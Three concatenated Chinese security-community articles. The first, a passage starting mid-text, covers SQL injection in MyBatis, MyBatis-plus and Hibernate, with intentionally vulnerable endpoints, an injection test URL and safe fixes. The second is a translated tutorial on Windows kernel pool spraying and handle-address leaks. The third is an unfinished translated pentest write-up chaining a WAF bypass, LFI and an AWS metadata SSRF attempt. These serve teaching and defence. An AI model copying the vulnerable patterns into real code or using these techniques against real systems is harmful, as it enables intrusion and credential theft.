没有手动过滤%。预编译是不能处理这个符号的， 所以需要手动过滤，否则会造成慢查询，造成 dos。
#### 3.5.Order by、from等无法预编译
通过上面对使用in关键字和like关键字发现，只需要对要传参的位置使用占位符进行预编译时似乎就可以完全防止SQL注入，然而事实并非如此，当使用order
by语句时是无法使用预编译的，原因是order
by子句后面需要加字段名或者字段位置，而字段名是不能带引号的，否则就会被认为是一个字符串而不是字段名，然而使用PreapareStatement将会强制给参数加上'，所以，在使用order
by语句时就必须得使用拼接的Statement，所以就会造成SQL注入，需要进行手动过滤，否则存在sql注入。
`String sql = "Select * from news where title =?" + "order by '" + time + "'
asc"`
## 二.Mybatis框架下的sql注入
Mybatis使用parameterType向sql语句传参，在sql引用传参可以使用#{Parameter}和${Parameter}两种方式
### 1 .${Parameter}方式
${Parameter}采用拼接的方式构造SQL语句，在对用户输入过滤不严格的前提下，存在sql注入漏洞
//Mybatis
@Select("select * from users where username = '${username}'")
List<User> findByUserNameVuln01(@Param("username") String username);
@GetMapping("/mybatis/vuln01")
public List<User> mybatisVuln01(@RequestParam("username") String username) {
return userMapper.findByUserNameVuln01(username);
}
### 2.#{Parameter}方式
#{Parameter}采用预编译的方式构造SQL语句，避免了SQL注入的产生
@GetMapping("/mybatis/sec01")
public User mybatisSec01(@RequestParam("username") String username) {
return userMapper.findByUserName(username);
}
//Mybatis
@Select("select * from users where username = #{username}")
User findByUserName(@Param("username") String username);
### 3.MyBatis易产生SQL注入的三种情况
#### 3.1 模糊查询
在这种情况下使用#{}程序会报错，新手程序员就把#号改成了$,这样如果java代码层面没有对用户输入的内容做处理势必会产生SQL注入漏洞。
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
select * from users where username like '%${_parameter}%'
</select>
正确写法如下：
<select id="findByUserNamesec" parameterType="String" resultMap="User">
select * from users where username like concat('%',#{_parameter}, '%')
</select>
这样拼接就不会存在sql注入。
正确写法：
mysql:
select * from users where username like concat('%',#{username},'%')
oracle:
select * from users where username like '%'||#{username}||'%'
sqlserver:
select * from users where username like '%'+#{username}+'%'
#### 3.2 使用in语句
使用in语句时直接使用#{}会报错，可能会存在使用${}直接拼接，造成sql注入
<select id="findByUserNameVuln04" parameterType="String" resultMap="User">
select * from users where id in (${id})
</select>
// http://localhost:8080/sqli/mybatis/vuln04?id=1)%20AND%201=1%23
@GetMapping("/mybatis/vuln04")
public List<User> mybatisVuln04(@RequestParam("id") String id) {
return userMapper.findByUserNameVuln04(id);
}
正确用法为使用foreach，而不是将#替换为$
id in<foreach collection="ids" item="item" open="("separatosr="," close=")">#{ids} </foreach>
#### 3.3使用order by 语句
和JDBC同理，使用#{}方式传参会导致order by语句失效，所以使用order by语句的时候还是需要做好过滤
## 三.Mybatis-plus框架下的sql注入
与SpringDataJpa类似，mybatis-plus提供了相关的funciton进行sql的操作，例如like("name","tks")——>name like
'%tks%'，同时也很贴心的考虑到了SQL注入问题，对绝大部分场景进行了预编译处理。但是类似动态表名、orderby这种需要拼接的场景在实际开发中还是需要额外的注意。
## 1.条件构造器Wrapper
条件构造器Wrapper可以用于复杂的数据库操作：大于、小于、模糊查询等等。
比较常用的是QueryWrapper和UpdateWrapper：
* Wrapper ： 条件构造抽象类，最顶端父类，抽象类中提供4个方法
* AbstractWrapper ： 用于查询条件封装，生成 sql 的 where 条件
* AbstractLambdaWrapper ： Lambda 语法使用 Wrapper统一处理解析 lambda 获取 column。
* LambdaQueryWrapper ：用于Lambda语法使用的查询Wrapper
* LambdaUpdateWrapper ： Lambda 更新封装Wrapper
* QueryWrapper ： Entity 对象封装操作类，不是用lambda语法
* UpdateWrapper ： Update 条件封装，用于Entity对象更新操作
### 1.1基础使用
配置基础类
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;
@Data
@TableName("tutorials")
//tutorials
public class Tutorial {
private Integer Id;
private String Title;
private String Author;
}
配置Mapper
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
import org.joychou.dao.Tutorial;
@Mapper
public interface TutorialMapper extends BaseMapper<Tutorial> {
}
调用相关的api进行操作
@RequestMapping("selectauthor")
public Tutorial mybatisselect(String author) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.eq("author",author);
Tutorial tutorial = tutorialMapper.selectOne(wrapper);
return tutorial;
}
### 1.2mybatis-puls预编译
传统的mybaits框架对于in范围查询和like模糊查询需要做额外的处理：
like模糊查询需要在mapperxml配置中用sql的内置函数进行拼接，拼接后再采用#预编译的方式进行查询；
in范围查询的话需要在进行同条件多值查询的时候，可以使用MyBatis自带的循环指令foreach来解决SQL语句动态拼接的问题；
mybatis-puls已经考虑到sql注入的影响，相关wrapper的function已进行了相关的预编译处理。例如mybatis常见的like和in注入场景，均进行了预编译处理，例如如下例子：
like模糊查询
@RequestMapping("/like")
public List<Tutorial> mybatislike(String author) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select("*").like("author",author);
List<Tutorial> tutorials = tutorialMapper.selectList(wrapper);
return tutorials;
}
打印相关的查询log，可以看到相关查询已使用?进行预编译处理：
in范围查询
@RequestMapping("/in")
public List<Tutorial> mybatisin(String author1,String author2) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select("*").in("author",author1,author2);
List<Tutorial> tutorials = tutorialMapper.selectList(wrapper);
return tutorials;
}
打印相关的查询log，可以看到相关查询已使用?进行预编译处理：
## 2.常见注入场景
### 1.条件构造器常见注入场景
#### apply
apply(String applySql, Object... params)
apply(boolean condition, String applySql, Object... params)
* 拼接sql
* 注:该方法可用于数据库 **函数** 动态入参的`params`对应前面`applySql`内部的`{index}`部分.这样是不会有sql注入风险的,反之会有!
* 示例：
apply()直接拼接sql语句存在sql注入
@RequestMapping("/applyvuln")
public Tutorial mybatisapplyvuln(String author,String title) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.eq("author",author).apply("title="+title);
Tutorial tutorial = tutorialMapper.selectOne(wrapper);
return tutorial;
}
使用{index}params进行预编译处理,不存在sql注入
@RequestMapping("/applysec")
public Tutorial mybatisapplysec(String author,String title) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.eq("author",author).apply("title={0}",title);
Tutorial tutorial = tutorialMapper.selectOne(wrapper);
return tutorial;
}
#### last
last(String lastSql)
last(boolean condition, String lastSql)
* 无视优化规则直接拼接到 sql 的最后
* 注：只能调用一次,多次调用以最后一次为准 ，若相关内容用户可控，则存在sql注入风险
* 示例：
@RequestMapping("/lastvuln")
public List<Tutorial> mybatislastvuln(String column) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.last("order by " + column);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
#### exists/notExists
exists(String existsSql)
exists(boolean condition, String existsSql)
notExists(String notExistsSql)
notExists(boolean condition, String notExistsSql)
* 拼接EXISTX / NOT EXISTS ( sql语句 )
* 注：若existsSql或notExistsSql中有关内容用户可控，则存在sql注入风险
* 示例：
@RequestMapping("/existsvuln")
public List<Tutorial> mybatisexistsvuln(String title) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.exists("select title from tutorials where title = " + title);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
#### having
having(String sqlHaving, Object... params)
having(boolean condition, String sqlHaving, Object... params)
* HAVING ( sql语句 ),用于Having查询，一般用配合groupby在对分组统计函数进行过滤的场景中
* 注：与apply一样，动态入参的params对应前面applySql内部的{index}部分，可以进行预编译防止SQL注入问题。
* 示例：
@RequestMapping("/havingvuln")
public List<Tutorial> mybatishavingvuln(String id) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select().groupBy("author").having("id > " +id);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
#### order by
* orderBy
orderBy(boolean condition, boolean isAsc, R... columns)
* orderByAsc
orderByAsc(R... columns)
orderByAsc(boolean condition, R... columns)
* orderByDesc
orderByDesc(R... columns)
orderByDesc(boolean condition, R... columns)
* 排序：ORDER BY 字段, (ASC/DESC)
* 注：Order by排序时不能进行预编译处理,故相关内容用户可控的话会存在sql注入风险。
* 示例：
@RequestMapping("/orderbyvuln")
public List<Tutorial> mybatishorderbyvuln(String column) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select().orderBy(true, true, column);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
@RequestMapping("/orderbyAscvuln")
public List<Tutorial> mybatishorderbyAscvuln(String column) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select().orderByAsc(column);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
@RequestMapping("/orderbyDescvuln")
public List<Tutorial> mybatishorderbyDescvuln(String column) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select().orderByDesc(column);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
#### group By
groupBy(R... columns)
groupBy(boolean condition, R... columns)
* 分组：GROUP BY 字段, ... 主要用于用于结合聚合函数，根据一个或多个列对结果集进行分组
* 示例：
@RequestMapping("/gropbycvuln")
public List<Tutorial> mybatishsgropbycvuln(String column) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select().groupBy(column);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
#### insql/notinsql
inSql(R column, String inValue)
inSql(boolean condition, R column, String inValue)
notInSql(R column, String inValue)
notInSql(boolean condition, R column, String inValue)
* 字段IN / NOT IN ( sql语句 )
* column字段、inValue字段可控的情况下存在注入风险。
* 示例：
@RequestMapping("/insqlcvuln")
public List<Tutorial> mybatisinsqlvuln(String column,String id) {
QueryWrapper<Tutorial> wrapper = new QueryWrapper<>();
wrapper.select().inSql(column,"select id from tutorials where id >" + id);
List<Tutorial> list = tutorialMapper.selectList(wrapper);
return list;
}
### 2.使用 Wrapper 自定义SQL（特殊的预编译场景）
Wrapper提供了自定义SQL场景，与传统的mybatis一样使用$进行注解，但实际上ew已经做了预编译处理。同样的也支持注解&xml配置。
注：需要mybatis-plus版本 >= 3.0.7 param 参数名要么叫ew,要么加上注解@Param(Constants.WRAPPER)
使用${ew.customSqlSegment} 不支持 Wrapper 内的entity生成where语句
示例：
#### 1.注解模式
* 配置mapper
import com.baomidou.mybatisplus.core.conditions.Wrapper;
import com.baomidou.mybatisplus.core.toolkit.Constants;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;
import org.joychou.dao.Person;
import java.util.List;
@Mapper
public interface PersonMapper {
@Select("select * from persons ${ew.customSqlSegment}")
List<Person> selectPerson(@Param(Constants.WRAPPER) Wrapper wrapper);
}
* 配置controller
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import org.joychou.dao.Person;
import org.joychou.dao.Tutorial;
import org.joychou.mapper.PersonMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController
@RequestMapping("/sqlimybatis_plus")
public class Mybatis_Plus_SQLI_2 {
@Autowired
PersonMapper personMapper;
//orderby R... columns 可控，存在SQL注入风险
@RequestMapping("/selectperson")
public List<Person> selectPerson(String column){
QueryWrapper<Object> wrapper = new QueryWrapper<>();
wrapper.orderByAsc(column);
return personMapper.selectPerson(wrapper);
}
//like 自动进行预编译，不存在SQL注入风险
@RequestMapping("/selectpersonlike")
public List<Person> selectPersonlike(String name) {
QueryWrapper<Object> wrapper = new QueryWrapper<>();
wrapper.like("name", name);
return personMapper.selectPerson(wrapper);
}
}
Wrapper自定义模式下like、in等会自动进行预编译，但若存在last、orderby等未进行预编译方法，若相应数据用户可控仍会存在SQL注入风险，风险API仍为2.1中常见注入场景。
#### 2.XML模式
* 配置mapper
import com.baomidou.mybatisplus.core.conditions.Wrapper;
import com.baomidou.mybatisplus.core.toolkit.Constants;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;
import org.joychou.dao.Person;
import java.util.List;
@Mapper
public interface PersonMapper {
@Select("select * from persons ${ew.customSqlSegment}")
List<Person> selectPerson(@Param(Constants.WRAPPER) Wrapper wrapper);
List<Person> selectPersonXML1(Wrapper ew);
List<Person> selectPersonXML2(Wrapper ew);
List<Person> selectPersonXMLOrdeyBy(Wrapper ew);
}
* 配置XXXXMapper.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="org.joychou.mapper.UserMapper">
<resultMap type="org.joychou.dao.Person" id="Person">
<id column="id" property="id" javaType="java.lang.Integer" jdbcType="NUMERIC"/>
<id column="name" property="name" javaType="java.lang.String" jdbcType="VARCHAR"/>
<id column="address" property="address" javaType="java.lang.String" jdbcType="VARCHAR"/>
<id column="city" property="city" javaType="java.lang.String" jdbcType="VARCHAR"/>
</resultMap>
<select id="selectPersonXML1" resultMap="Person">
select * from persons where ${ew.customSqlSegment}
</select>
<select id="selectPersonXML2" resultMap="Person">
select * from persons
<where>
${ew.SqlSegment}
</where>
</select>
<select id="selectPersonXMLOrdeyBy" resultMap="Person">
select * from persons ${ew.SqlSegment}
</select>
</mapper>
* 配置controller
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import org.joychou.dao.Person;
import org.joychou.dao.Tutorial;
import org.joychou.mapper.PersonMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController
@RequestMapping("/sqlimybatis_plus")
public class Mybatis_Plus_SQLI_2 {
@Autowired
PersonMapper personMapper;
@RequestMapping("/selectperson")
public List<Person> selectPerson(String column){
QueryWrapper<Object> wrapper = new QueryWrapper<>();
wrapper.orderByAsc(column);
return personMapper.selectPerson(wrapper);
}
@RequestMapping("/selectperson1")
public List<Person> selectPersonXML1(String name) {
QueryWrapper<Object> wrapper = new QueryWrapper<>();
wrapper.eq("name", name);
return personMapper.selectPerson(wrapper);
}
@RequestMapping("/selectperson2")
public List<Person> selectPersonXML2(String name) {
QueryWrapper<Object> wrapper = new QueryWrapper<>();
wrapper.eq("name", name);
return personMapper.selectPerson(wrapper);
}
@RequestMapping("/selectperson3")
public List<Person> selectPersonXMLOrderBy(String column) {
QueryWrapper<Object> wrapper = new QueryWrapper<>();
wrapper.orderByAsc(column);
return personMapper.selectPerson(wrapper);
}
}
以上selectPersonXML1、selectPersonXML2均实现相同功能，SQL注入问题与注解模式相同。
### 3.分页插件
#### 1.PaginationInnerInterceptor
* 配置分页插件
import com.baomidou.mybatisplus.annotation.DbType;
import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor;
import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class MybatisPlusConfig {
/**
* 注册插件
*/
@Bean
public MybatisPlusInterceptor mybatisPlusInterceptor() {
MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
// 添加分页插件
PaginationInnerInterceptor pageInterceptor = new PaginationInnerInterceptor();
// 设置请求的页面大于最大页后操作，true调回到首页，false继续请求。默认false
pageInterceptor.setOverflow(false);
// 单页分页条数限制，默认无限制
pageInterceptor.setMaxLimit(500L);
// 设置数据库类型
pageInterceptor.setDbType(DbType.MYSQL);
interceptor.addInnerInterceptor(pageInterceptor);
return interceptor;
}
}
* 配置controller
@RequestMapping("/selectpage")
public List<Person> mybatispluspage(Long page,Long size,String order){
QueryWrapper<Person> qw = new QueryWrapper<>();
Page<Person> personPage = new Page<>(page,size);
personPage.addOrder(OrderItem.asc(order));
IPage<Person> iPage = personMapper.selectPage(personPage, qw);
List<Person> persons = iPage.getRecords();
return persons;
}
若直接使用addOrder()未进行过滤，则存在SQL注入漏洞。
#### 2.pagehelper
因为Order by排序时不能进行预编译处理，所以在使用插件时需要额外注意如下function，同样会存在SQL注入风险：
* **com.github.pagehelper.Page**
* 主要是setOrderBy(java.lang.String)方法
* **com.github.pagehelper.page.PageMethod**
* 主要是startPage(int,int,java.lang.String)方法
* **com.github.pagehelper.PageHelper**
* 主要是startPage(int,int,java.lang.String)方法
## 四.Hibernate框架下的SQL注入
Hibernate是一个开放源代码的对象关系映射框架，它对JDBC进行了非常轻量级的对象封装，使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库。
Hibernate可以使用hql来执行SQL语句，也可以直接执行SQL语句，无论是哪种方式都有可能导致SQL注入
### HQL
hql语句：
String hql = "from People where username = '" + username + "' and password = '" + password + "'";
这种拼接方式存在SQL注入
正确使用以下几种HQL参数绑定的方式可以有效避免注入的产生：
#### 1.命名参数（named parameter）
Query<User> query = session.createQuery("from users name = ?1", User.class);
String parameter = "g1ts";
Query<User> query = session.createQuery("from users name = :name", User.class);
query.setParameter("name", parameter);
#### 2.位置参数（Positional parameter）
String parameter = "g1ts";
Query<User> query = session.createQuery("from users name = ?1", User.class);
query.setParameter(1, parameter);
#### 3.命名参数列表（named parameter list）
List<String> names = Arrays.asList("g1ts", "g2ts");
Query<User> query = session.createQuery("from users where name in (:names)", User.class);
query.setParameter("names", names);
#### 4.类实例（JavaBean）
user1.setName("g1ts");
Query<User> query = session.createQuery("from users where name =:name", User.class);
query.setProperties(user1);
#### 5.HQL拼接方法
这种方式是最常用，而且容易忽视且容易被注入的，通常做法就是对参数的特殊字符进行过滤，推荐大家使用
Spring工具包的StringEscapeUtils.escapeSql()方法对参数进行过滤：
import org.apache.commons.lang.StringEscapeUtils;
public static void main(String[] args) {
String str = StringEscapeUtils.escapeSql("'");
System.out.println(str);
}
### SQL
Hibernate支持使用原生SQL语句执行，所以其风险和JDBC是一致的，直接使用拼接的方法时会导致SQL注入
语句如下：
Query<People> query = session.createNativeQuery("select * from user where username = '" + username + "' and password = '" + password + "'");
正确写法：
String parameter = "g1ts";
Query<User> query = session.createNativeQuery("select * from user where name = :name");
query.setParameter("name",parameter);
注：此文为总结多位师傅文章，包括不限于以下文章：
<https://www.sec-in.com/article/1073>
<https://www.cnblogs.com/klslb/p/7146889.html>
....... | 社区文章 |
# 【技术分享】Windows内核池喷射
##### 译文声明
本文是翻译文章，文章来源：trackwatch.com
原文地址：<http://trackwatch.com/windows-kernel-pool-spraying/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[ju4n010](http://bobao.360.cn/member/contribute?uid=2772593091)
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**介绍**
当您尝试利用内核池漏洞时，您必须处理块（chunks）和池（pool）的元数据。如果你想避免蓝屏，你需要控制一切，因为在块头上会有一些额外的检查。
内核池喷射是一项使池中分配位置可预测的艺术。这意味着你可以知道一个块将被分配到哪里，哪些块在其附近。
如果您想要泄露某些精确的信息或覆盖特定的数据，利用内核池喷射是必须的。
本文的目的不是解释内核池的内部结构，而是为了展示利用内核池喷射的基础知识和方法。
如果您需要了解关于内核池内部的详细信息，可以参阅Tarjei Mandt的论文[1][2]。
在本文中，我们只讨论x64架构。本文中提供的内容仅适用于Windows内部结构，但可应用于Windows 7至Windows 10的每个版本。
**内核池内部细节**
池是Windows内核中每个分配的通用位置。 由于它被频繁使用，控制池的位置比堆更复杂。池自己管理所有类型的数据，从最简单的字符串到最大的结构。
虽然它与堆没有太大的区别，但池也有自己的分配器和结构。
Windows操作系统内核中放置了两个内存池，一个保留在物理内存中的内存池（NonPaged
Pool/非分页池），另一个可以被换入换出物理内存的内存池（Paged Pool/分页池）。 请注意，Windows 8引入了NonPagedPoolNx;
它基本上是一个启用了DEP的非分页池。
内核中有几种类型的池，但主要结构是一样的。
池描述符（Pool Descriptor）保存关于池的当前状态信息，它包含：
Deferred Free list，延迟释放列表（默认启用）：当列表填充满时，列表中的块将被释放
ListHeads：按大小排序的已释放块的后进先出列表
Lookaside List：按大小排序的已释放块的后进先出列表。 非常类似于Lisheads列表，但稍有些不同限制。
关于当前分配的杂项信息
Lookaside列表是一个小型的已释放块的后进先出列表，也按大小排序。
它用于替代大小小于等于0x200（512）字节的块的ListHeads，从而提高性能。稍后会描述它的内部结构。
简单来说，池只是分配页面的列表。一个页面长度为0x1000字节，并且以块为单位。
有大于0x1000字节的块，但这些块今天我们不会涉及，我们将专注于小于0xFF1字节的块。
这是一个内核池块的结构：
PreviousSize ：前一个块的块大小。此块大小存储为： actual_size >> 4（实际大小除以16）
PoolIndex ：用于从相应池类型的池描述符数组中获取池描述符的索引。
BlockSize ：块的块大小。 此块大小存储为：actual_size >> 4（实际大小除以16）
PoolType ：一个包含块中细节的位掩码：
它的池类型（未分页，分页.）
是否分配
配额位：是否该组块用于管理进程配额。如果该标志出现，则指向相应EPROCESS对象的指针存储在ProcessBilled中
其他一些信息
PoolTag ：调试时用于识别块的4个字符
ProcessBilled ：如果配额位被设置，则指向EPROCESS对象的指针。
**内核池分配/释放**
池有3种不同的方式来分配一个块：
如果块是小块（≤0x200字节），则分配器将首先尝试使用lookaside列表。
它将寻找一个与要求的大小相同的块。如果没有这样的块，分配器将使用下一个方法。
然后它将使用ListHeads，并且还将查找与请求完全相同大小的块。 如果没有这样的块，分配器将占用更大的块，分为两部分：
一个将被分配，另一个存储在适当的ListHeads中。
如果没有相应的块，它将分配一个新页面，它的第一个块将被分配在页面的顶部。 页面底部将分配以下每个块。
以同样的方式，有几种释放块的机制：
如果块是小块（≤0x200字节），则分配器将首先尝试将其存储在与其类型相对应的lookaside列表中。
但是，lookaside列表最多只能包含相同大小的0xff（255）块。
如果DELAYED_FREES标志被设置（默认情况下），该块将被存储在DeferredFree列表中，直到此列表已满（最大0x20块）为止。
一旦DeferredFree列表已满，该列表将释放其中的每个块，以提高性能。
最后，当块确实被释放后;
分配器检查周围的块是否是空闲的，并且如果是这样的话，将它们合并，然后将新的块存储在适当的ListHead中。如果整个页面上被释放，它将被回收。
**池喷射基础**
池喷射的基础是分配足够的对象，以确保您控制分配的位置。
Windows为我们提供了许多在不同类型的池中分配对象的工具。例如，我们可以在NonPagedPool（非分页池）中分配ReservedObjects或Semaphore
。关键是要找到与您要控制的池类型相匹配的对象。您选择的对象大小也很重要，因为它与创建后所留的空隙大小直接相关。一旦您选择了对象，您将首先通过大量分配该对象使得池非随机化。
向下面这样创建池页面：
当你分配这些对象时，Windows显然不会提供这些对象的地址，因为它是一些内核地址，但它会给你处理这这些对象的句柄。
您可以使用此句柄通过调用CloseHandle来释放对象。
大量地分配这个对象使我们可以保证Lookaside和ListHead列表已经用尽，从现在开始，我们所做的每个分配都是使用一个新的页面。
如果我们保留了我们分配的所有对象的句柄列表，我们可以假设池和我们的句柄列表之间存在一种相关性：
它允许我们通过在彼此相邻的块上调用CloseHandle，轻松地创建具有半控制大小的间隙（因为我们可以控制分配对象的大小）。
有些细节仍然需要注意，否则可能会遇到麻烦：
1\.
如果您选择的对象的大小不超过0x200字节，这很可能会在lookaside列表中存储相应的释放块，这样这些块的不会被合并。为避免这种情况，您必须释放足够多的对象填充满lookaside列表。
2\. 您的释放的块可能会落在DeferredFree列表中，并且不会立即合并。所以你必须释放足够多的对象来填充满这个列表，这样才能释放出块制造空隙。
3\. 最后，你在池中分配对象，这对于整个内核是很常见的。这意味着您刚创建的空隙可能随时被您无法控制的东西分配填充。所以你必须要快！
**上述步骤的要点是：**
1\. 通过使用对象的句柄，选择需要释放的块
2\. 释放足够的块填满lookaside列表
3\. 释放选定的块
4\. 免释放足够的块填充DeferredFree列表
5\. 尽可能快地使用你制造的空隙！
**关联泄漏**
我之前说过，Windows不会给你对象的地址，因为它是内核地址。但我是骗你的。
在Windows上有一些众所周知的泄漏技术，如使用NtQuerySystemInformation函数。
这个函数的功能有点神奇，它允许泄漏许多内核地址。我们主要感兴趣的是此函数能够提供目前分配的每个对象的列表，通过提供以下这些结构：
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
PVOID Object;
ULONG_PTR UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
typedef struct _SYSTEM_EXTENDED_HANDLE_INFORMATION{ ULONG_PTR NumberOfHandles; ULONG_PTR Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];} SYSTEM_EXTENDED_HANDLE_INFORMATION, *PSYSTEM_EXTENDED_HANDLE_INFORMATION;
使用SystemExtendedHandleInformation参数调用NtQuerySystemInformation，我们可以得到_SYSTEM_EXTENDED_HANDLE_INFORMATION结构。
我们可以使用句柄字段列出系统上分配的每个对象。
每个对象都由_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX结构描述，它包含：
1\. HandleValue字段，它匹配我们分配对象时得到的句柄。
2\. Object字段，它是内核池内存中对象的地址。
通过使用此列表，我们可以使用其句柄获取任何对象内核地址！
**改善喷射质量，使其100%可靠**
我们目前在池中创造空隙的方法并不是很可靠。即便一个对象紧接着另一个对象分配，但这两个对象在池内存中彼此相邻分配的机会仍然不能确定。他们可能已经被分配在两个不同的页面上，或者他们之间可能已经分配了一个未知的块。
通过这些地址泄漏，我们可以轻松地确保我们创建的空隙是有效的：
1\. 在我们的列表中选择一个句柄并泄漏其内核地址
2\. 选择相邻对象的句柄并泄漏地址; 它应该是之前添加的相同大小对象的块的地址。如果没有，那么这些块不是彼此相邻，并且它们的空隙将无效
使用这种方法，我们100%肯定我们的空隙是有效的。
**结论**
现在，池喷射是如此强大，以至于在内核池漏洞的利用中几乎都会使用。
然而，池喷射在以下几点上仍然受到限制。
首先，我们不能产生任意大小的空隙，因为它总是取决于所选择的喷射对象的大小。当然，我们可以喷射几个混合的对象，以便产生更多种尺寸的空隙，但到目前为止，我们还没必要使用这个方法。
第二，预测大小小于等于0x200字节的块的分配似乎也很复杂，因为这个分配器将使用lookaside列表。
实现这一点的唯一方法是使用与要控制的块完全相同大小的对象。
我写了一个使用此文中介绍的方法的库，并提供了一个简单的API来喷射池。
你可以在这儿找到[5]！Windows是该修复NtQuerySystemInformation泄露的问题了，因为这是我认为减轻对内核池攻击的唯一方法。
**参考文献**
[1] http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf – Tarjei Mandt’s
paper on Windows 7 Kernel Exploitations
[2] http://illmatics.com/Windows%208%20Heap%20Internals.pdf – Windows 8 Heap
internals
[3] http://blog.ptsecurity.com/2013/03/stars-aligners-how-to-kernel-pool.html
– Great article on pool spraying and exploitation
[4] https://github.com/fishstiqz/poolinfo – This extension is great for
investigating the pool state
[5] https://github.com/cbayet/PoolSprayer – My library to spray the pool ! | 社区文章 |
# 如何获得印度最大股票经纪公司的AWS凭证
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大家好，这篇文章我将讲述如何绕过一系列阻碍最终获得印度最大股票经纪公司的AWS（即Amazon Web
Services，是亚马逊公司的云计算IaaS和PaaS平台服务）的访问凭证。简单来说，我需要先绕过WAF，然后再破解Web的缓存机制，最后获得AWS账户凭据。
> 请注意，我的一系列操作都是在相关公司的许可下完成的
在渗透测试的第一阶段，我发现一些网站的端点存在文件交互，所以我测试了一下LFI（本地文件包含）漏洞，结果发现CloudFlare防火墙挡在我的前面。
要绕过CloudFlare的WAF，最简单的方法之一就是找到真实IP，绕过WAF直接访问，希望他们的服务器没有设置访问IP的白名单。
为了找到服务器的真实IP，我直接使用了命令`dig
[www.readacted.com](http://www.readacted.com)`，结果很幸运直接得到了结果。
然后只需在电脑的`hosts`文件中配置一下网站和IP的对应关系，即可绕过WAF。接着我尝试使用LFI读取`/etc/passwd`，得到的响应如下：
OK，这是一个很明显的本地文件读取漏洞。而当我搜索这个真实IP的whois信息时，发现它属于AWS。于是，我的下一个目标是通过利用SSRF漏洞读取AWS的帐户凭据，因为我在这个LFI漏洞点看到过URL作为参数输入的情况。我调用了API尝试读取AWS实例的元数据（<http://169.254.169.254/latest/meta-data/>）。
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Apr 2019 14:32:48 GMT
Content-Type: text/css;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15552000
X-frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Proxy-Cache: HIT
Content-Length: 0
但是，响应码虽然是200——这意味着确实有交互——但没有返回任何数据。为什么会这样？如果你看一下上面的响应头，你会发现服务器是`Nginx`，而响应头有一个`X-Proxy-Cache`，它代表Nginx缓存层的设置，其值为“HIT”，意味着当客户端试图访问AWS元数据的相关API时，服务器会首先在Nginx缓存层中寻找响应，而这个响应为空。
现在，为了从服务器获得真实的响应，我不得不绕过缓存层，首先我需要了解nginx缓存系统中URL缓存规则。
一些参考文献 -
https://www.digitalocean.com/community/tutorials/how-to-implement-browser-caching-with-nginx-s-header-module-on-centos-7
https://www.howtoforge.com/make-browsers-cache-static-files-on-nginx
